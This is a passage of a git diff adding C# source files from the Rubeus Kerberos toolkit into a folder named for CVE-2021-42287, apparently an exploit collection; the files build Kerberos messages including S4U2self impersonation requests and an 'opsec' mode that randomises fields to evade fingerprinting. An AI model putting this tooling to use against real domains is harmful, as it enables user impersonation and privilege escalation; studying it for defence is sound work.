// defaults for creation + type = Interop.PADATA_TYPE.PA_PAC_REQUEST; + + value = new KERB_PA_PAC_REQUEST(pac); + } + + public PA_DATA(bool claims, bool branch, bool fullDC, bool rbcd) + { + // defaults for creation + type = Interop.PADATA_TYPE.PA_PAC_OPTIONS; + value = new PA_PAC_OPTIONS(claims, branch, fullDC, rbcd); + } + + public PA_DATA(string keyString, Interop.KERB_ETYPE etype) + { + // include pac, supply enc timestamp + + type = Interop.PADATA_TYPE.ENC_TIMESTAMP; + + PA_ENC_TS_ENC temp = new PA_ENC_TS_ENC(); + + byte[] rawBytes = temp.Encode().Encode(); + byte[] key = Helpers.StringToByteArray(keyString); + + // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1 + // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55 + byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes); + + value = new EncryptedData((int)etype, encBytes); + } + + public PA_DATA(byte[] key, string name, string realm) + { + // used for constrained delegation + type = Interop.PADATA_TYPE.S4U2SELF; + + value = new PA_FOR_USER(key, name, realm); + } + + public PA_DATA(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + // used for constrained delegation + type = Interop.PADATA_TYPE.PA_S4U_X509_USER; + + value = new PA_S4U_X509_USER(key, name, realm, nonce, eType); + } + + public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool opsec = false, byte[] req_body = null) + { + // include an AP-REQ, so PA-DATA for a TGS-REQ + + type = Interop.PADATA_TYPE.AP_REQ; + + // build the AP-REQ + AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype); + + // make authenticator look more realistic + if (opsec) + { + var rand = new Random(); + ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); + // Could be useful to output the sequence number in case we implement KRB_PRIV or KRB_SAFE messages + Console.WriteLine("[+] Sequence number is: {0}", ap_req.authenticator.seq_number); + + // randomize cusec to avoid fingerprinting + ap_req.authenticator.cusec = rand.Next(0, 999999); + + if (req_body != null) + ap_req.authenticator.cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5, req_body); + } + + value = ap_req; + } + + public PA_DATA(X509Certificate2 pkInitCert, KDCKeyAgreement agreement, KDCReqBody kdcRequestBody, bool verifyCerts = false) { + + DateTime now = DateTime.UtcNow; + KrbPkAuthenticator authenticator = new KrbPkAuthenticator((uint)now.Millisecond, now, now.Millisecond, kdcRequestBody); + KrbAuthPack authPack = new KrbAuthPack(authenticator, pkInitCert); + + byte[] pubKeyInfo = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.MakeInteger(agreement.P), + AsnElt.MakeInteger(agreement.G), + }).Encode(); + + authPack.ClientPublicValue = new KrbSubjectPublicKeyInfo(new KrbAlgorithmIdentifier(DiffieHellman, pubKeyInfo), + AsnElt.MakeInteger(agreement.Y).Encode()); + + type = Interop.PADATA_TYPE.PK_AS_REQ; + value = new PA_PK_AS_REQ(authPack, pkInitCert, agreement, verifyCerts); + } + + public PA_DATA(AsnElt body) + { + //if (body.Sub.Length != 2) + //{ + // throw new System.Exception("PA-DATA should contain two elements"); + //} + + //Console.WriteLine("tag: {0}", body.Sub[0].Sub[0].TagValue); + try + { + type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].GetInteger(); + byte[] valueBytes = body.Sub[1].Sub[0].GetOctetString(); + } + catch + { + type = (Interop.PADATA_TYPE)body.Sub[0].Sub[0].Sub[0].GetInteger(); + byte[] valueBytes = body.Sub[0].Sub[1].Sub[0].GetOctetString(); + } + + switch (type) { + case Interop.PADATA_TYPE.PA_PAC_REQUEST: + value = new KERB_PA_PAC_REQUEST(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); + break; + + case Interop.PADATA_TYPE.PK_AS_REP: + value = new PA_PK_AS_REP(AsnElt.Decode(body.Sub[1].Sub[0].CopyValue())); + break; + case Interop.PADATA_TYPE.PA_S4U_X509_USER: + break; + } + } + + public AsnElt Encode() + { + // padata-type [1] Int32 + AsnElt typeElt = AsnElt.MakeInteger((long)type); + AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { typeElt }); + nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, nameTypeSeq); + + AsnElt paDataElt; + if (type == Interop.PADATA_TYPE.PA_PAC_REQUEST) + { + // used for AS-REQs + + // padata-value [2] OCTET STRING -- might be encoded AP-REQ + paDataElt = ((KERB_PA_PAC_REQUEST)value).Encode(); + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, paDataElt); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.ENC_TIMESTAMP) + { + // used for AS-REQs + AsnElt blob = AsnElt.MakeBlob(((EncryptedData)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, blobSeq }); + return seq; + } + else if (type == Interop.PADATA_TYPE.AP_REQ) + { + // used for TGS-REQs + AsnElt blob = AsnElt.MakeBlob(((AP_REQ)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.S4U2SELF) + { + // used for constrained delegation + AsnElt blob = AsnElt.MakeBlob(((PA_FOR_USER)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.PA_S4U_X509_USER) + { + // used for constrained delegation + AsnElt blob = AsnElt.MakeBlob(((PA_S4U_X509_USER)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if (type == Interop.PADATA_TYPE.PA_PAC_OPTIONS) + { + AsnElt blob = AsnElt.MakeBlob(((PA_PAC_OPTIONS)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else if(type == Interop.PADATA_TYPE.PK_AS_REQ) { + + AsnElt blob = AsnElt.MakeBlob(((PA_PK_AS_REQ)value).Encode().Encode()); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + + paDataElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeSeq, paDataElt }); + return seq; + } + else + { + return null; + } + } + + public Interop.PADATA_TYPE type { get; set; } + + public Object value { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs new file mode 100644 index 0000000..b003d97 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_ENC_TS_ENC.cs @@ -0,0 +1,46 @@ +using Asn1; +using System; +using System.Text; + +namespace Rubeus +{ + //PA-ENC-TS-ENC ::= SEQUENCE { + // patimestamp[0] KerberosTime, -- client's time + // pausec[1] INTEGER OPTIONAL + //} + + public class PA_ENC_TS_ENC + { + public PA_ENC_TS_ENC() + { + patimestamp = DateTime.UtcNow; + } + + public PA_ENC_TS_ENC(DateTime time) + { + patimestamp = time; + } + + //public PA_ENC_TS_ENC(AsnElt value) + //{ + + //} + + public AsnElt Encode() + { + AsnElt patimestampAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, patimestamp.ToString("yyyyMMddHHmmssZ")); + AsnElt patimestampSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampAsn }); + patimestampSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, patimestampSeq); + + AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { patimestampSeq }); + + return totalSeq; + } + + public DateTime patimestamp { get; set; } + + public int pausec { get; set; } + + //public bool include_pac { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_FOR_USER.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_FOR_USER.cs new file mode 100644 index 0000000..3302b38 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_FOR_USER.cs @@ -0,0 +1,96 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //PA-FOR-USER-ENC ::= SEQUENCE { + // userName[0] PrincipalName, + // userRealm[1] Realm, + // cksum[2] Checksum, + // auth-package[3] KerberosString + //} + + public class PA_FOR_USER + { + public PA_FOR_USER(byte[] key, string name, string realm) + { + userName = new PrincipalName(name); + userName.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + userRealm = realm; + + // now build the checksum + + auth_package = "Kerberos"; + + byte[] nameTypeBytes = new byte[4]; + nameTypeBytes[0] = 0xa; + + byte[] nameBytes = Encoding.UTF8.GetBytes(name); + byte[] realmBytes = Encoding.UTF8.GetBytes(userRealm); + byte[] authPackageBytes = Encoding.UTF8.GetBytes(auth_package); + + byte[] finalBytes = new byte[nameTypeBytes.Length + nameBytes.Length + realmBytes.Length + authPackageBytes.Length]; + + Array.Copy(nameTypeBytes, 0, finalBytes, 0, nameTypeBytes.Length); + Array.Copy(nameBytes, 0, finalBytes, nameTypeBytes.Length, nameBytes.Length); + Array.Copy(realmBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length, realmBytes.Length); + Array.Copy(authPackageBytes, 0, finalBytes, nameTypeBytes.Length + nameBytes.Length + realmBytes.Length, authPackageBytes.Length); + + byte[] outBytes = Crypto.KerberosChecksum(key, finalBytes); + + Checksum checksum = new Checksum(outBytes); + + cksum = checksum; + } + + public AsnElt Encode() + { + List allNodes = new List(); + + // userName[0] PrincipalName + AsnElt userNameAsn = userName.Encode(); + userNameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userNameAsn); + allNodes.Add(userNameAsn); + + // userRealm[1] Realm + AsnElt userRealmAsn = AsnElt.MakeString(AsnElt.IA5String, userRealm); + userRealmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, userRealmAsn); + AsnElt userRealmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { userRealmAsn }); + userRealmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, userRealmSeq); + allNodes.Add(userRealmSeq); + + // cksum[2] Checksum + AsnElt checksumAsn = cksum.Encode(); + checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, checksumAsn); + allNodes.Add(checksumAsn); + + // auth-package[3] KerberosString + AsnElt auth_packageAsn = AsnElt.MakeString(AsnElt.IA5String, auth_package); + auth_packageAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, auth_packageAsn); + AsnElt auth_packageSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { auth_packageAsn }); + auth_packageSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, auth_packageSeq); + allNodes.Add(auth_packageSeq); + + + // package it all up + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + + + // tag the final total + //AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq }); + //final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 2, final); + + return seq; + } + + public PrincipalName userName { get; set; } + + public string userRealm { get; set; } + + public Checksum cksum { get; set; } + + public string auth_package { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PAC_OPTIONS.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PAC_OPTIONS.cs new file mode 100644 index 0000000..626aeb4 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PAC_OPTIONS.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Asn1; + +namespace Rubeus +{ + /* PA-PAC-OPTIONS ::= SEQUENCE { + KerberosFlags + -- Claims(0) + -- Branch Aware(1) + -- Forward to Full DC(2) + -- Resource-based Constrained Delegation (3) + } + */ + + public class PA_PAC_OPTIONS + { + public byte[] kerberosFlags { get; set; } + public PA_PAC_OPTIONS(bool claims, bool branch, bool fullDC, bool rbcd) + { + kerberosFlags = new byte[4] { 0, 0, 0, 0 }; + if (claims) kerberosFlags[0] = (byte)(kerberosFlags[0] | 8); + if (branch) kerberosFlags[0] = (byte)(kerberosFlags[0] | 4); + if (fullDC) kerberosFlags[0] = (byte)(kerberosFlags[0] | 2); + if (rbcd) kerberosFlags[0] = (byte)(kerberosFlags[0] | 1); + kerberosFlags[0] = (byte)(kerberosFlags[0] * 0x10); + } + + public AsnElt Encode() + { + List allNodes = new List(); + AsnElt kerberosFlagsAsn = AsnElt.MakeBitString(kerberosFlags); + kerberosFlagsAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.BIT_STRING, kerberosFlagsAsn); + AsnElt parent = AsnElt.MakeExplicit(0, kerberosFlagsAsn); + allNodes.Add(parent); + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + return seq; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PK_AS_REP.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PK_AS_REP.cs new file mode 100644 index 0000000..39866ee --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PK_AS_REP.cs @@ -0,0 +1,28 @@ +using Asn1; +using System; + +namespace Rubeus { + public class PA_PK_AS_REP { + + public KrbDHRepInfo DHRepInfo { get; private set; } + + public PA_PK_AS_REP(AsnElt asnElt) { + + if(asnElt.TagClass != AsnElt.CONTEXT || asnElt.Sub.Length > 1) { + throw new ArgumentException("Expected CONTEXT with CHOICE for PA-PK-AS-REP"); + } + + switch (asnElt.TagValue) { + case 0: //dhInfo + DHRepInfo = new KrbDHRepInfo(asnElt.Sub[0]); + break; + + case 1: //encKeyPack: TODO + break; + + default: + throw new ArgumentException("Unexpected CHOICE value for PA-PK-AS-REP"); + } + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PK_AS_REQ.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PK_AS_REQ.cs new file mode 100644 index 0000000..7cf2954 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_PK_AS_REQ.cs @@ -0,0 +1,46 @@ +using Asn1; +using System.Security.Cryptography; +using System.Security.Cryptography.Pkcs; +using System.Security.Cryptography.X509Certificates; + +namespace Rubeus { + public class PA_PK_AS_REQ { + + public static readonly Oid IdPkInitAuthData = new Oid("1.3.6.1.5.2.3.1"); + public KrbAuthPack AuthPack { get; private set; } + public X509Certificate2 PKCert { get; private set; } + public KDCKeyAgreement Agreement { get; private set; } + public bool VerifyCerts { get; private set; } + + public PA_PK_AS_REQ(KrbAuthPack krbAuthPack, X509Certificate2 pkCert, KDCKeyAgreement agreement, bool verifyCerts = false) { + AuthPack = krbAuthPack; + PKCert = pkCert; + Agreement = agreement; + VerifyCerts = verifyCerts; + } + + public AsnElt Encode() { + + SignedCms signed = new SignedCms( + new ContentInfo( + IdPkInitAuthData, + AuthPack.Encode().Encode() + ) + ); + + var signer = new CmsSigner(PKCert); + if(!VerifyCerts) + { + signer.IncludeOption = X509IncludeOption.EndCertOnly; // only the end certificate is included in the X.509 chain information. + } + signed.ComputeSignature(signer, silent: false); + + return AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { + AsnElt.Make(AsnElt.CONTEXT, 0, new AsnElt[]{ + AsnElt.MakeBlob(signed.Encode()) + //AsnElt.Decode(signed.Encode()) + }) + }); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_S4U_X509_USER.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_S4U_X509_USER.cs new file mode 100644 index 0000000..26ae999 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PA_S4U_X509_USER.cs @@ -0,0 +1,52 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + // PA-S4U-X509-USER::= SEQUENCE { + // user-id[0] S4UUserID, + // checksum[1] Checksum + //} + + + public class PA_S4U_X509_USER + { + public PA_S4U_X509_USER(byte[] key, string name, string realm, uint nonce, Interop.KERB_ETYPE eType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + user_id = new S4UUserID(name, realm, nonce); + + AsnElt userIDAsn = user_id.Encode(); + AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); + byte[] userIDBytes = userIDSeq.CopyValue(); + byte[] cksumBytes = null; + + if (eType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); + if (eType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) + cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES128, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); + if (eType == Interop.KERB_ETYPE.rc4_hmac) + cksumBytes = Crypto.KerberosChecksum(key, userIDBytes, Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD4, Interop.KRB_KEY_USAGE_PA_S4U_X509_USER); + + cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_SHA1_96_AES256, cksumBytes); + } + + public AsnElt Encode() + { + AsnElt userIDAsn = user_id.Encode(); + AsnElt userIDSeq = AsnElt.Make(AsnElt.SEQUENCE, userIDAsn); + userIDSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, userIDSeq); + + AsnElt checksumAsn = cksum.Encode(); + checksumAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, checksumAsn); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { userIDSeq, checksumAsn }); + + return seq; + } + + public S4UUserID user_id { get; set; } + public Checksum cksum { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PrincipalName.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PrincipalName.cs new file mode 100644 index 0000000..ea8d5da --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/PrincipalName.cs @@ -0,0 +1,105 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //PrincipalName::= SEQUENCE { + // name-type[0] Int32, + // name-string[1] SEQUENCE OF KerberosString + //} + + public class PrincipalName + { + public PrincipalName() + { + /* + Name Type Value Meaning + + NT-UNKNOWN 0 Name type not known + NT-PRINCIPAL 1 Just the name of the principal as in DCE, + or for users + NT-SRV-INST 2 Service and other unique instance (krbtgt) + NT-SRV-HST 3 Service with host name as instance + (telnet, rcommands) + NT-SRV-XHST 4 Service with host as remaining components + NT-UID 5 Unique ID + NT-X500-PRINCIPAL 6 Encoded X.509 Distinguished name [RFC2253] + NT-SMTP-NAME 7 Name in form of SMTP email name + (e.g., user@example.com) + NT-ENTERPRISE 10 Enterprise name - may be mapped to principal + name + */ + + name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + + name_string = new List(); + } + + public PrincipalName(string principal) + { + // create with principal + name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; + + name_string = new List(); + name_string.Add(principal); + } + + public PrincipalName(AsnElt body) + { + // KRB_NT_PRINCIPAL = 1 + // means just the name of the principal + // KRB_NT_SRV_INST = 2 + // service and other unique instance (krbtgt) + + name_type = (Interop.PRINCIPAL_TYPE)body.Sub[0].Sub[0].GetInteger(); + + int numberOfNames = body.Sub[1].Sub[0].Sub.Length; + + name_string = new List(); + + for (int i = 0; i < numberOfNames; i++) + { + name_string.Add(Encoding.UTF8.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString())); + } + } + + public AsnElt Encode() + { + // name-type[0] Int32 + AsnElt nameTypeElt = AsnElt.MakeInteger((long)name_type); + AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt }); + nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq); + + + // name-string[1] SEQUENCE OF KerberosString + // add in the name string sequence (one or more) + AsnElt[] strings = new AsnElt[name_string.Count]; + + for (int i = 0; i < name_string.Count; ++i) + { + string name = name_string[i]; + AsnElt nameStringElt = AsnElt.MakeString(AsnElt.UTF8String, name); + nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt); + strings[i] = nameStringElt; + } + + AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings); + AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } ); + stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2); + + + // build the final sequences + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 }); + + AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); + + return seq2; + } + + public Interop.PRINCIPAL_TYPE name_type { get; set; } + + public List name_string { get; set; } + } +} \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/S4UUserID.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/S4UUserID.cs new file mode 100644 index 0000000..9b9aca0 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/S4UUserID.cs @@ -0,0 +1,80 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.Text; + +namespace Rubeus +{ + //S4UUserID::= SEQUENCE { + // nonce[0] UInt32, --the nonce in KDC - REQ - BODY + // cname[1] PrincipalName OPTIONAL, + // --Certificate mapping hints + // crealm[2] Realm, + // subject-certificate[3] OCTET STRING OPTIONAL, + // options[4] BIT STRING OPTIONAL, + // ... + //} + + public class S4UUserID + { + public S4UUserID(string name, string realm, uint n) + { + nonce = n; + + cname = new PrincipalName(name); + cname.name_type = Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; + + crealm = realm; + + // default for creation + options = Interop.PA_S4U_X509_USER_OPTIONS.SIGN_REPLY; + } + + public AsnElt Encode() + { + List allNodes = new List(); + + // nonce [0] UInt32 + AsnElt nonceAsn = AsnElt.MakeInteger(nonce); + AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); + nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nonceSeq); + allNodes.Add(nonceSeq); + + // cname [1] PrincipalName + AsnElt cnameElt = cname.Encode(); + cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); + allNodes.Add(cnameElt); + + // crealm [2] Realm + AsnElt realmAsn = AsnElt.MakeString(AsnElt.IA5String, crealm); + realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); + AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); + realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); + allNodes.Add(realmSeq); + + // options [4] PA_S4U_X509_USER_OPTIONS + byte[] optionsBytes = BitConverter.GetBytes((uint)options); + if (BitConverter.IsLittleEndian) + { + Array.Reverse(optionsBytes); + } + AsnElt optionsAsn = AsnElt.MakeBitString(optionsBytes); + AsnElt optionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { optionsAsn }); + optionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, optionsSeq); + allNodes.Add(optionsSeq); + + AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); + //AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, seq); + + return seq; + } + + public UInt32 nonce { get; set; } + + public PrincipalName cname { get; set; } + + public string crealm { get; set; } + + public Interop.PA_S4U_X509_USER_OPTIONS options { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TGS_REP.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TGS_REP.cs new file mode 100644 index 0000000..dca5351 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TGS_REP.cs @@ -0,0 +1,101 @@ +using Asn1; +using System; +using System.Text; + +namespace Rubeus +{ + public class TGS_REP + { + //TGS-REP ::= [APPLICATION 13] KDC-REP + + //KDC-REP ::= SEQUENCE { + // pvno [0] INTEGER (5), + // msg-type [1] INTEGER (13 -- TGS), + // padata [2] SEQUENCE OF PA-DATA OPTIONAL + // -- NOTE: not empty --, + // crealm [3] Realm, + // cname [4] PrincipalName, + // ticket [5] Ticket, + // enc-part [6] EncryptedData + // -- EncTGSRepPart + //} + + public TGS_REP(byte[] data) + { + // decode the supplied bytes to an AsnElt object + // false == ignore trailing garbage + AsnElt asn_TGS_REP = AsnElt.Decode(data, false); + + this.Decode(asn_TGS_REP); + } + + public TGS_REP(AsnElt asn_TGS_REP) + { + this.Decode(asn_TGS_REP); + } + + private void Decode(AsnElt asn_TGS_REP) + { + // TGS - REP::= [APPLICATION 13] KDC - REP + if (asn_TGS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.TGS_REP) + { + throw new System.Exception("TGS-REP tag value should be 13"); + } + + if ((asn_TGS_REP.Sub.Length != 1) || (asn_TGS_REP.Sub[0].TagValue != 16)) + { + throw new System.Exception("First TGS-REP sub should be a sequence"); + } + + // extract the KDC-REP out + AsnElt[] kdc_rep = asn_TGS_REP.Sub[0].Sub; + + foreach (AsnElt s in kdc_rep) + { + switch (s.TagValue) + { + case 0: + pvno = s.Sub[0].GetInteger(); + break; + case 1: + msg_type = s.Sub[0].GetInteger(); + break; + case 2: + // sequence of pa-data + padata = new PA_DATA(s.Sub[0]); + break; + case 3: + crealm = Encoding.ASCII.GetString(s.Sub[0].GetOctetString()); + break; + case 4: + cname = new PrincipalName(s.Sub[0]); + break; + case 5: + ticket = new Ticket(s.Sub[0].Sub[0]); + break; + case 6: + enc_part = new EncryptedData(s.Sub[0]); + break; + default: + break; + } + } + } + + // won't really every need to *create* a TGS reply, so no encode + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public PA_DATA padata { get; set; } + + public string crealm { get; set; } + + public PrincipalName cname { get; set; } + + public Ticket ticket { get; set; } + + public EncryptedData enc_part { get; set; } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TGS_REQ.cs b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TGS_REQ.cs new file mode 100644 index 0000000..d70e65b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/Rubeus/Rubeus/lib/krb_structures/TGS_REQ.cs @@ -0,0 +1,450 @@ +using Asn1; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; + +namespace Rubeus +{ + //TGS-REQ ::= [APPLICATION 12] KDC-REQ + + //KDC-REQ ::= SEQUENCE { + // -- NOTE: first tag is [1], not [0] + // pvno [1] INTEGER (5) , + // msg-type [2] INTEGER (12 -- TGS), + // padata [3] SEQUENCE OF 